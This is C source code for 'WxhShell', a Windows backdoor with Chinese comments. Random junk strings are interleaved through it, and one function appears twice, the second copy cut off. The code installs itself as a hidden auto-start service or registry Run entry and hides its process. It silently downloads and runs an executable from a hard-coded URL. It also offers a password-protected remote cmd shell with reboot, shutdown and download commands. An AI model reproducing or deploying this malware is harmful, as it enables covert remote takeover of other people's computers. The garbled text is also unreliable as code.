g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vfT
@;` g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iX2exJto NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .+8#&Uy ^Q0=Ggh if (!NtQueryInformationProcess) return 0; `:ZaT('h mV}8s]29 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;x_T*} CH if(!hProcess) return 0; to_dNJbv 3^H-,b0^ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
qOD^P w=nS*Qy2 CloseHandle(hProcess); ]GHw~s? H_8PK$c; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WuWOC6^ if(hProcess==NULL) return 0; xG4 C 6s b:O_PS5h HMODULE hMod; \qW^AD(it< char procName[255]; T|$tQgY^ unsigned long cbNeeded; l9%ckC*q ;\13x][ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T{3-H(-gA NP\/9
8|1 CloseHandle(hProcess); 4%yeEc;z R Ee~\n+P^ if(strstr(procName,"services")) return 1; // 以服务启动 H2g#'SK@ {P?p*2J' return 0; // 注册表启动 Hjs#p{t[ } btC<>(kl& uu0t}3l // 主模块 NeEV=+<-G int StartWxhshell(LPSTR lpCmdLine) hG<W*g { R4[|f0l}s SOCKET wsl; #8v l2qWbi BOOL val=TRUE; -idbR[1{? int port=0; T-s[na(/L struct sockaddr_in door; `P|V&;}K MnY}U",
if(wscfg.ws_autoins) Install(); './qBJ r;waT@&C port=atoi(lpCmdLine); {A MAQ A$zC$9{0I if(port<=0) port=wscfg.ws_port; ?5 6;<%0 ZI :wJU:f WSADATA data; D_z&G) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |n s9ziTDI Ln h'y`q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; SrWmV@"y setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HZ{DlH;& door.sin_family = AF_INET; 5C-n"8&C& door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?ZKIs9E[m door.sin_port = htons(port); ]K5j(1EN 68qCY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,0,&
L closesocket(wsl); ?[5_/0L,= return 1; sU^K5oo } `9f7H Y$hLsM\% if(listen(wsl,2) == INVALID_SOCKET) { ~^~+p closesocket(wsl); '<C#"2 return 1; W H+Sd } (H|^Ow5 Wxhshell(wsl); kQ6YQsJ.* WSACleanup(); !*k'3rKOW gyMy;}a return 0; i~DLo3 Ao9=TC'v$' } riglEA[^ FePWr7Ze // 以NT服务方式启动 RDqQ6(e" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :WSszak { OOz;/kay DWORD status = 0; y<8o!=Tb5 DWORD specificError = 0xfffffff; }f] ~{^ mL s>RR#b serviceStatus.dwServiceType = SERVICE_WIN32; 3SF J8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 59_VC(' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b~rlh=(o#_ serviceStatus.dwWin32ExitCode = 0; Eo<N serviceStatus.dwServiceSpecificExitCode = 0; @7Nc*-SM serviceStatus.dwCheckPoint = 0; 'yAHB* rQR serviceStatus.dwWaitHint = 0; a/q8v P +\B.3%\- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +227SPLd if (hServiceStatusHandle==0) return; !?{%9 C #@5:$ status = GetLastError(); S)@) @3 if (status!=NO_ERROR) _~b]/]|z#N { OimqP serviceStatus.dwCurrentState = SERVICE_STOPPED; 2\xEMec serviceStatus.dwCheckPoint = 0; tjDCfJx* serviceStatus.dwWaitHint = 0; w}(Ht_6q{ serviceStatus.dwWin32ExitCode = status; }~NWOJ3; serviceStatus.dwServiceSpecificExitCode = specificError;
{0} Q5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); R8u9tTW return; 7/c9azmC } \v.YP19 .t%`"C serviceStatus.dwCurrentState = SERVICE_RUNNING; ^ G>/;mZ serviceStatus.dwCheckPoint = 0; =/^{Pn serviceStatus.dwWaitHint = 0; FPuF1@K if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j2!^iGS} } z]Mu8 6Y=MW{=F // 处理NT服务事件,比如:启动、停止 `SESj)W(y VOID WINAPI NTServiceHandler(DWORD fdwControl) 6:Zd,N= { l$!g#?w switch(fdwControl) oIY@xuj { ca!x{,Cvnj case SERVICE_CONTROL_STOP: naW!Mga serviceStatus.dwWin32ExitCode = 0; TSYe~)I serviceStatus.dwCurrentState = SERVICE_STOPPED; a)M#O\i` serviceStatus.dwCheckPoint = 0; OD1>s6uA7 serviceStatus.dwWaitHint = 0; l*4_
{ CEb al\R SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6%UhP;( } I/w=!Ih return; pS<j>y case SERVICE_CONTROL_PAUSE: cvv(OkC serviceStatus.dwCurrentState = SERVICE_PAUSED; IqmQQ_KH break; ,OaPrAt- case SERVICE_CONTROL_CONTINUE: h*zHmkFR serviceStatus.dwCurrentState = SERVICE_RUNNING; JdA3O{mT) break; e^Lt{/ case SERVICE_CONTROL_INTERROGATE: `n`aA)|< break; ef(OhIX }; ePwoza
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;1woTAuD } 6
g`Y~ii wfF0+T+IA // 标准应用程序主函数 CXiSin int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >_um-w #C { g:>Mooxzi U6R~aRJ; // 获取操作系统版本 _,9/g^< OsIsNt=GetOsVer(); 6`hHx=L GetModuleFileName(NULL,ExeFile,MAX_PATH); o;Ma)/P 9"mcN3x:\e // 从命令行安装 LIDYKKDJ^ if(strpbrk(lpCmdLine,"iI")) Install(); hNJubTSE+) TYh_uox6 // 下载执行文件 D^JuL6U if(wscfg.ws_downexe) { G8voqP if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3a]Omuu|= WinExec(wscfg.ws_filenam,SW_HIDE); ZU-vZD> } N| L Ey mg7Q~SLL{ if(!OsIsNt) { 9-?[%8 // 如果时win9x,隐藏进程并且设置为注册表启动
d365{ HideProc(); )'gO?cN StartWxhshell(lpCmdLine); C'jE'B5b } Qh.
:
N else a6fqtkZ x if(StartFromService()) 00)=3@D // 以服务方式启动 jZvQMW StartServiceCtrlDispatcher(DispatchTable); 8g CQ0w< else |LNAd:0 // 普通方式启动 j?rq%rQd StartWxhshell(lpCmdLine); ~%o?J"y $Sfx0?' return 0; \%D/]"@r } Ss~dK-{e7 ?sBbe@OC? XN1\!CM8 .TTXg,8#D =========================================== rG|*74Q] b!Z-HL6 l^ aUN <rs"$JJV <n:j@a\up0 zf>r@>S!L " }TS4D={1 <MH| <hP #include <stdio.h> ?YO$NYwE #include <string.h> zg=F;^oZ< #include <windows.h> GGR hM1II #include <winsock2.h> ")87GQ( R #include <winsvc.h> \f7Aj> #include <urlmon.h> 3Vj,O?(Z On{p(|l #pragma comment (lib, "Ws2_32.lib") (X"WEp^Q{I #pragma comment (lib, "urlmon.lib") Gf{FFIe( g^EkRBU #define MAX_USER 100 // 最大客户端连接数 ^KK6 d #define BUF_SOCK 200 // sock buffer a:(.{z?nM #define KEY_BUFF 255 // 输入 buffer s1eGItx[w g
:me:M #define REBOOT 0 // 重启 5-ju5z?= #define SHUTDOWN 1 // 关机 c_xo6+:l 1$g]&' #define DEF_PORT 5000 // 监听端口 K;wd2/jmJ ZzuEw #define REG_LEN 16 // 注册表键长度 bQ"w%! #define SVC_LEN 80 // NT服务名长度 mzl %h[9iI SH/KC // 从dll定义API 8[|RsM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )./%/
_*K typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i2EXE0; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xN +j]LC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dm&vLQVS 7]~65@%R-& // wxhshell配置信息 )"IBw0] struct WSCFG { pv2u.qg5z int ws_port; // 监听端口 mGmkeD' char ws_passstr[REG_LEN]; // 口令 XY;cz int ws_autoins; // 安装标记, 1=yes 0=no ?4U|6|1 char ws_regname[REG_LEN]; // 注册表键名 '}D$"2I* char ws_svcname[REG_LEN]; // 服务名 ^=nJ,-(h_ char ws_svcdisp[SVC_LEN]; // 服务显示名 rU/V~;#% char ws_svcdesc[SVC_LEN]; // 服务描述信息 kR0d]"dr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l 6;}nG int ws_downexe; // 下载执行标记, 1=yes 0=no iJza zQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z~VSWrw3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gt1W_C\ wY`yP!xO }; ad1%"~1 q6C`hVMl // default Wxhshell configuration Q. O4R_H struct WSCFG wscfg={DEF_PORT, 9S}rTZkEq "xuhuanlingzhe", `H$XO{w 1, #\m.3!Hcr "Wxhshell", rnhLv$ "Wxhshell", 0LL0\ly] "WxhShell Service", dEKu5GI "Wrsky Windows CmdShell Service", ?yq=c "Please Input Your Password: ", Um4zI> 1, uZrp ^ "http://www.wrsky.com/wxhshell.exe", ^IuhHP "Wxhshell.exe" a?r$E.W'& }; r2.w4RMFua klFS3G // 消息定义模块 sV{\IgH/x char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u$[8Zmgzz char *msg_ws_prompt="\n\r? for help\n\r#>"; GEf=A.WAfw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PN]hG,q*4O char *msg_ws_ext="\n\rExit."; E\s1p:% char *msg_ws_end="\n\rQuit."; y _"V=: char *msg_ws_boot="\n\rReboot..."; ez[x8M> char *msg_ws_poff="\n\rShutdown..."; {._'Q[ char *msg_ws_down="\n\rSave to "; _%D7D~2r| e8xq`:4Y char *msg_ws_err="\n\rErr!"; <%uEWb) char *msg_ws_ok="\n\rOK!"; ?VE'!DW l_:P| char ExeFile[MAX_PATH]; aaY AS"/: int nUser = 0; L{F]uz_[x HANDLE handles[MAX_USER]; jwE= int OsIsNt; <Y}m/-sD5 Q`AlK"G, SERVICE_STATUS serviceStatus; 1#_pj
eG SERVICE_STATUS_HANDLE hServiceStatusHandle; 2h51zG#qd 16 `M=R // 函数声明 |au`ph5 int Install(void); 2 >O [Y1 int Uninstall(void); X0P +[.i int DownloadFile(char *sURL, SOCKET wsh); MT>(d*0s int Boot(int flag); LS<+V+o2% void HideProc(void); k"DZ"JC int GetOsVer(void); CA`V)XIsP int Wxhshell(SOCKET wsl); }O@>:?U void TalkWithClient(void *cs); GyQFR ? int CmdShell(SOCKET sock); /K&9c
!]$C int StartFromService(void); O5p$
A@ int StartWxhshell(LPSTR lpCmdLine); ~s HdOMw b=MW;]F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EDgtn)1 VOID WINAPI NTServiceHandler( DWORD fdwControl ); #1'q'f:7& <H60rON // 数据结构和表定义 _yN5sLLyb SERVICE_TABLE_ENTRY DispatchTable[] = $aJay]F { t>}S@T{~T {wscfg.ws_svcname, NTServiceMain}, )$E){(Aa {NULL, NULL} [}HPV+j=U }; wQy~5+LE ,%IP27bPW // 自我安装 dR\yRC]I int Install(void) T]&?^QGAZ { eUNaq&M char svExeFile[MAX_PATH]; cK]n"6N[ HKEY key; >KrI}>!9r strcpy(svExeFile,ExeFile); IW<rmP=R& 1K@ieVc // 如果是win9x系统,修改注册表设为自启动 \os"w " if(!OsIsNt) { 3<$Ek3X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o}KVT%} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w@,p` RegCloseKey(key); ?B ,<gen if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #!O)-dyF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jaw1bUP!oK RegCloseKey(key); !|4]V}JQ return 0; 06AgY0\ } gw,K*ph}q } >^g2Tg: } QEt"T7a[/ else { (jU_lsG UwS7B~ // 如果是NT以上系统,安装为系统服务 Iga+8k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y2l;NSWU if (schSCManager!=0) 8o|C43Q_ { ;AOLbmb)H4 SC_HANDLE schService = CreateService =bD.5,F) ( ya~;Of5 schSCManager, nsi?.c&0! wscfg.ws_svcname, OjlX<y. wscfg.ws_svcdisp, |-S!)iG1V SERVICE_ALL_ACCESS, [nV BnB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sv%E5@ SERVICE_AUTO_START, p#P<V% SERVICE_ERROR_NORMAL, QjSWl,{
$D svExeFile, P<&bAsje NULL, FNLS=4 NULL, `O2P&!9& NULL, yD& Y`f# NULL, y'^U4# ( NULL DQW)^j
h ); L{jx'[C if (schService!=0) wMCg`rk { BSHS)_xs CloseServiceHandle(schService); #p*uk CloseServiceHandle(schSCManager); L)U*dY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ER9{D$ strcat(svExeFile,wscfg.ws_svcname); BrSvkce if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C=&n1/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NYHK>u/5c RegCloseKey(key); PA
ZjA0d return 0; g4,ldr"D } 8=Oym~ } n^{h@u CloseServiceHandle(schSCManager); n5"oXpcIx } J7",fb } Yu" Q oCkG return 1; ].J;8} } Am@Ta "2 !`Kg&t [&V // 自我卸载 tc`3-goX int Uninstall(void) 4s:M}=]N { yN`hW&K HKEY key; !YGHJwW: N5zWeFq@6 if(!OsIsNt) { up['<Kt+a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L$O\fhO? RegDeleteValue(key,wscfg.ws_regname); |0}Xb|+ RegCloseKey(key); T\p>wiY2|F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `!N}u RegDeleteValue(key,wscfg.ws_regname); ? Pi|`W RegCloseKey(key); 5%9Uh'y# return 0; Go c*ugR } %.`u2'^ } a_S`$(7k } &Cj~D$kDEu else { P,m+^, 5L2j,] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o>(<:^x9 if (schSCManager!=0) .^=I&X/P { u(1m#xr8$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0|-}>>qb\ if (schService!=0) qgl-,3GY%N { !4+Die X if(DeleteService(schService)!=0) { {G vGV CloseServiceHandle(schService); lq53
xT CloseServiceHandle(schSCManager); &D[M<7T return 0; 3YLfh`6 } hY{4_ie=8 CloseServiceHandle(schService); YC 4c-M } FEu}zt@
CloseServiceHandle(schSCManager); 4rL`|| } /q>ExXsEC } bf.+Ewb( tgCp2`n return 1; U1/I(w } p2l@6\m\ Ih5Y7<8b~ // 从指定url下载文件 %Bm{ctf#) int DownloadFile(char *sURL, SOCKET wsh) k]:`<`/I_ { ".|8 (Y HRESULT hr; a"xRc char seps[]= "/"; 3,G|oR{D char *token; yw+]S char *file; -:d{x# char myURL[MAX_PATH]; ~b#<HG\,, char myFILE[MAX_PATH]; t*Ro2QZ f2gh|p` strcpy(myURL,sURL); rz|Sjtq token=strtok(myURL,seps); 'qiAmaX while(token!=NULL) mz1m^p)~{ { P]^8Enp file=token; ulN1z token=strtok(NULL,seps); 1t/c@YUTy } XN
t` 4$L Q?j '4 GetCurrentDirectory(MAX_PATH,myFILE); p@Os strcat(myFILE, "\\"); R?lTB3" strcat(myFILE, file); l[5** ?# send(wsh,myFILE,strlen(myFILE),0); <astIu Au send(wsh,"...",3,0); Rh6CV hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j8e=],sQ if(hr==S_OK) &/^p:I return 0; sV5k@1Y else [V?HK_~ return 1; lrHN6:x(Y4 GNmP_N } EmUt/] ]g9SUFM // 系统电源模块 q'H6oD` int Boot(int flag) R6 ej { Kk=>"?& HANDLE hToken; V]Ccj\Oi TOKEN_PRIVILEGES tkp; w-)JCdS6Tb )cQ KR4x0^ if(OsIsNt) { Yy/,I]F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;9)nG,P3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fuHNsrNlm tkp.PrivilegeCount = 1; #+6j-^<_6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S`mB1(h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7`L]aRS[ if(flag==REBOOT) { 0hkYexX73 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ) xV>Va8) return 0; 9fbo } n@kJ1ee' else { h){ #dU+& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @/As|) return 0; D.7cWR`Wp } B(71I; } |uFb(kL[U else { l#ct;KZ if(flag==REBOOT) { g1F9IB42@< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dQH8s return 0; {7IZN< e } {be|G^.c else { A`vRUl,c= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :SN? t return 0; OBlQ } $M-"az] } rFC9y o 23=wz%tF return 1; \[]BB5)8 } jsV1~1:83 K-*ZS8 // win9x进程隐藏模块 er
1zSTkg void HideProc(void) `3K."/N6c { IYptNR UZiL NKc HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <uoVGV5N if ( hKernel != NULL ) 0.!vp?
{ 8EiS\$O- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &BKnJ{,H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U[yA`7Zs} FreeLibrary(hKernel); ~QE?GL } {Ho _U&< S9b=?? M) return; rwwyYIlEg } 'R$/Qt;uA h>xB"E|. // 获取操作系统版本 z:O:g?A int GetOsVer(void) b4KNIP7E {
0lqh;/ OSVERSIONINFO winfo; l'!_km0{d winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %dmQmO, GetVersionEx(&winfo); I L&PN`# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u[wDOw return 1; ZZxt90YR'5 else gHL:XW^ return 0; HuA4eJ(2 } N1:)Z`r :=quCzG // 客户端句柄模块 Y.52`s6F int Wxhshell(SOCKET wsl) w1F)R^tU { |t$%kpp SOCKET wsh; [8DPZU@ struct sockaddr_in client; - sq=| DWORD myID; (S=CxK ffOV7Dxy while(nUser<MAX_USER) 'UCClj;?K { j6*e^
B int nSize=sizeof(client); Xe
^NVF wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h^H)p`[Gme if(wsh==INVALID_SOCKET) return 1; A}uWy^w SrMfd7H8f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #;P-*P if(handles[nUser]==0) >^@~}]L closesocket(wsh); Zwtz )ZII else \H PB{
; nUser++; sA"B/C|(g } \<}e?Yx% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gZz5P>^ mX@xV*
return 0; *L<<S=g$2 } FYg{IKg 77]Fp(uI // 关闭 socket 6%c]{eTd9 void CloseIt(SOCKET wsh) a}k5[)et { `- 9p)@'8k closesocket(wsh); 3P'Wk|j nUser--; zb!RfQ, ExitThread(0); \%W"KLP } 0o@eE3^ %NhZTmWm // 客户端请求句柄 0)vX
void TalkWithClient(void *cs) 9~r8$,e { `Z@qWB< w/ID yQ SOCKET wsh=(SOCKET)cs; Jjx1`S*i char pwd[SVC_LEN]; >IS BK[=H char cmd[KEY_BUFF]; )RT:u)N char chr[1]; -{*QjP;K int i,j; S;!7/z 6I5LZ^/ G9 while (nUser < MAX_USER) { NdI~1kemr ~MK%^5y? if(wscfg.ws_passstr) { kKVNE hTp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]PH'G>x //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9$R}GK //ZeroMemory(pwd,KEY_BUFF); )*BG-nM u i=0; jpiBHi]5+ while(i<SVC_LEN) { EBUCG"e FbD9G6h5 // 设置超时 lxLEYDGFS fd_set FdRead; R{Me~L? struct timeval TimeOut; ML1/1GK*i+ FD_ZERO(&FdRead); R8,
g^N FD_SET(wsh,&FdRead); cEPqcy
* TimeOut.tv_sec=8; 2B=BRVtSs TimeOut.tv_usec=0; QyEoWKu; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pc]( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `jGG^w3 l4E0/F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b5%T)hn= pwd=chr[0]; Z~g7^,-t if(chr[0]==0xd || chr[0]==0xa) { {@X)=.Zf pwd=0; _s0;mvz' break; X_wPuU% } 6oR5q 4 i++; p<(b^{EX } &UX:KW`= @ql S #( // 如果是非法用户,关闭 socket HUGhz if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FlLk.+!t } t \,XG $_W kI^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); = iWn
T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wvEdZGO8! :T/I%|;f while(1) { _Qf310oONS Y$eO:67; ZeroMemory(cmd,KEY_BUFF); lMb&F[KJ7 -=4:qQEw // 自动支持客户端 telnet标准 f]kG%JEK j=0; \hqjk:o while(j<KEY_BUFF) { bR83N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *)qxrBc0 cmd[j]=chr[0]; \
UiITP< if(chr[0]==0xa || chr[0]==0xd) { rIAbr5CG cmd[j]=0; ks(BS k4 break; J4m2|HK } vqJq=\ .m j++; ~|8-Mo1ce } 2fMKS S,qEKWyLd // 下载文件 jtQ} if(strstr(cmd,"http://")) { _h P7hhR send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7^]KQ2fF
8 if(DownloadFile(cmd,wsh)) &]1gx# send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0{.[#!CSk else t|}}#Z!I[f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pn
aSOyR } M_f.e!? else { h9l 6AnbJ [|APMMYK1 switch(cmd[0]) { \) g?mj^ cFloaCz // 帮助 9<1dps=c case '?': { q3/ 0xN+? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xny{8Oo<1? break; '>#8
F. } PI$K+}E // 安装 ~y8KQ-1n" case 'i': { Na$[nv8qh if(Install()) h%>yErs send(wsh,msg_ws_err,strlen(msg_ws_err),0); (cm8x else EVDcj,b"^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
V%[34G break; cPPTGpqw } %HcCe[d5l // 卸载 A $W~R case 'r': { zEs:OOM if(Uninstall()) fnJt8Y4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); gH|:=vfYUR else 7Nlk:f)*- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >AUzsQ break; `z<I< } 2 UPG8] // 显示 wxhshell 所在路径 \MB$ Cwc case 'p': { RZqou|ki char svExeFile[MAX_PATH]; 6l&,!fd strcpy(svExeFile,"\n\r"); (A\\s$fE/1 strcat(svExeFile,ExeFile); L_R(K89w send(wsh,svExeFile,strlen(svExeFile),0); o'|B|oZ break; a<lDT_2b } 7&vDx=W // 重启 :r}C&3 case 'b': { )H[Pz.'ah0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?CE&F<?#@ if(Boot(REBOOT)) @*-t.b2k send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;><m[ l6 else { aQglA closesocket(wsh); s-JS[ ExitThread(0); lHc9D } yUEvva break; nXfdf- } -Rbv#Y // 关机 *b\&R%6dR case 'd': { z2[{3Kd* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cSYMnB if(Boot(SHUTDOWN)) 5N:IH@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Ahe Vps@@ else { G]O5irsV closesocket(wsh); V$3`y=8 ExitThread(0); [Lq9lw&
} q0VR&b`?>D break; QfRo`l/V9 } ZhY03>X // 获取shell N}KL' case 's': { Nf)$K'/ CmdShell(wsh); PUErvLt closesocket(wsh); /-Z}= ExitThread(0); e$o]f"( break; `j!XWh*$ } CO`?M,x> // 退出 [Z;ei1l case 'x': { O9_SVXWVw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7R$O~R3p CloseIt(wsh); sq;3qbz break; Y]bS=*q }
>Ft)v // 离开 QM@zy case 'q': { 2BV]@]qB send(wsh,msg_ws_end,strlen(msg_ws_end),0); B0D closesocket(wsh); jGe%'AN\ WSACleanup(); ]D[\l$( exit(1); T}59m;I break; "w3%BbI x } ]EqwDw4 } ji.T7wn1u } 5:(/k\9+yv "<&) G{ // 提示信息 DcN!u6sJ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~]SCf@pRk } 63/a 0Yn }
@W-0ybv C%H?vrR return; afE)yu` } ]Hg6Mz>Mj t8M\ // shell模块句柄 m~-O}i~) int CmdShell(SOCKET sock) v Q,<Ke+d { C=qL0 STARTUPINFO si; 3%)@c P:? ZeroMemory(&si,sizeof(si)); {@hJPK8 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RoNE7|gF: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6B+?X5-6DH PROCESS_INFORMATION ProcessInfo; nWA>u J5 char cmdline[]="cmd"; w@pJ49 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hR~&}sxN return 0; d'iSvd. } D7=Irz!O\7 !6,rN_a@Y // 自身启动模式 v[V7$.%5Q int StartFromService(void) v2k@yxt( { [,(+r7aB typedef struct }m&\I { S_?sJwM DWORD ExitStatus; -F_cBu81V DWORD PebBaseAddress; `\GRY @cg DWORD AffinityMask; \,'4eV DWORD BasePriority; w)&?9?~ ULONG UniqueProcessId; rE]Nr ;Ys ULONG InheritedFromUniqueProcessId; pog } PROCESS_BASIC_INFORMATION; NS-0-o|4# o2[$XONTl PROCNTQSIP NtQueryInformationProcess; 8:[ l1d86 |K9*><P?)2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9sI&d static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *7b?.{ nw(R=C HANDLE hProcess; vo(:g6$ PROCESS_BASIC_INFORMATION pbi; *HB 32 =qD gegM&Xo HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H4W!Md if(NULL == hInst ) return 0; '2
Y8 7M8 cF>o g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NY|hE@{2. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >~_z#2PA NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `@ny!S|1/ Kg`P@ if (!NtQueryInformationProcess) return 0; X,bhX/h Lp/'-Y_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !{ fu(E if(!hProcess) return 0; c\/-*OYr< _>ZC;+c? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; suE8"v!sk [5ncBY*A7 CloseHandle(hProcess); Kj)sL0 41P0)o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s\<UDW if(hProcess==NULL) return 0; 2qojU%fiH #%w+PL:*O HMODULE hMod; maeQ'Sv_& char procName[255]; oY0*2~sg unsigned long cbNeeded; %!eRR =CO) Q2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mG$N%`aG L9XfR$7,z CloseHandle(hProcess); J%n#uUs 